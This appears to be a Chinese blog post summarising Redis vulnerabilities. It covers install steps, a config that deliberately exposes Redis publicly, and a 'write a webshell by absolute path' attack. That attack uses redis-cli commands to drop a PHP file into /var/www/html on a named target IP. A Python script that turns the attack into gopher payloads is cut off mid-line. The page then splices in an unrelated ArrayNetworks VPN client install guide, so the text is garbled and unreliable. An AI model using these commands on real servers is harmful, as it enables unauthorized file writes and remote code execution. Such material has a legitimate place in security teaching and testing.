Redis系列漏洞总结

Redis系列漏洞总结

环境:ubuntu16.04,redis5.0.1

redis下载及安装

  • 下载

    wget http://download.redis.io/releases/redis-5.0.0.tar.gz

  • 解压

    sudo tar xzvf redis-5.0.0.tar.gz

  • 创建文件夹

    mkdir /usr/local/redis5

    mkdir /etc/redis5

  • 移动文件

    cp -r redis-5.0.0/* /usr/local/redis5/

  • 进入安装目录进行安装

    ls /usr/local/redis5/
    
    cd  /usr/local/redis5
    
    sudo make
    
    cd /usr/local/redis5/src/
    sudo make test  //如果安装报错,更新tcl:sudo  apt install tcl8.6,再重新运行
    sudo make install //安装
    
    
  • 查看编译好的命令文件

    ls /usr/local/bin/redis-*

    --/usr/local/bin/redis-benchmark     性能测试工具
    --/usr/local/bin/redis-check-aof     更新日志检查
    --/usr/local/bin/redis-check-dump    本地数据文件检查
    --/usr/local/bin/redis-cli           命令行操作工具
    --/usr/local/bin/redis-server        服务器程序
    
  • 修改配置文件

    cd /usr/local/redis5

    cp redis.conf /etc/redis5/

    vim /etc/redis5/redis.conf

    bind 0.0.0.0(允许登陆redis服务的ip,默认是127.0.0.1(设置为127.0.0.1的话就相当于redis服务只能本机进行登,如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆)
    protected-mode no (如果开启则会禁止公网访问redis)
    daemonize yes//改为后台运行
    
    
  • 启动

    cd /usr/local/redis5

    redis-server /etc/redis5/redis.conf

  • 关闭

    redis-cli shutdown
    redis-cli -p 6379 shutdown
    redis-cli -h 192.168.9.206 -p 6379 shutdown

    (根据情况选择关闭服务器命令)

redis 漏洞利用方式

0x01 绝对路径写shell

  • 环境

    靶机ubtuntu16:118.31.47.97

    sudo apt install apache2
    sudo apt install php
    sudo apt install php-redis
    sudo apt-get install libapache2-mod-php
    sudo apt install php-curl
    

    攻击主机ubuntu16 本机

    服务器:redis5.0.0,apache,php

  • 利用条件

    能未授权或者能通过弱口令认证访问到Redis服务器

    root权限启动redis服务

    需要知道目标的web目录绝对路径

  • 漏洞复现

    使用客户端连接redis数据库,并测试手动写shell

    flushall
    set 1 '<?php phpinfo(); ?>'
    config set dir /var/www/html
    config set dbfilename phpinfo.php
    save
    

    在这里插入图片描述

    接下来使用gopher协议来将shell转换成RESP格式

    #!/usr/bin/env python
    # -*-coding:utf-8-*-
    
    import urllib
    protocol="gopher://"  # 使用的协议 
    ip="118.31.47.97" #此处ip为redis服务器ip
    port="6379&
  • 6
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
软件介绍: ArrayNetworksL3Setu是移动代理点客户端软件,也就是常说的那个红A。需要安装这个软件后才能登陆。BOSS 客户端更新说明为了解决现有BOSS系统BUG,现在需要升级各代办点终端的SSL 的插件,具体插件步骤如下:1.将附件中名称为:“ArrayNetworksL3OnlyWebSetup.zip”的安装包拷贝到代办终端上。 2.在代办终端上解压该文件3.点击“setup.exe”4.一步步安装首先remove现有的插件。点击“next”,点击“finish”,再点击“setup.exe”,点击“finish”完成安装。完成后开始使用,打开IE浏览器。输入移动 IP地址。IE版本可能会出现,点击“允许”,当右下角出现“A” 上面出现8.4.6.80确认为新的插件版本。出现红A,没有任何报错就表示安装正常。-----------------------------------------------------------------------------------------------------如果安装有问题或者不能正常访问,请单独安装客户端。安装的文件名称ArrayNetworksL3SetupX32.zip,ArrayNetworksL3SetupX64.zip请对应系统的版本安装1查看自己的系统的版本,32位,64位2.“计算机”-->“属性”查看自己的是32位的还是64位的操作系统。请对应版本安装。4.安装客户端软件的步骤,首先解压文件。点击 “setup.exe”安装完成。打开IE登陆SSL 如重启失败请重置浏览器的高级设置。点击---“还远高级设置”---“确定”再次登陆

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值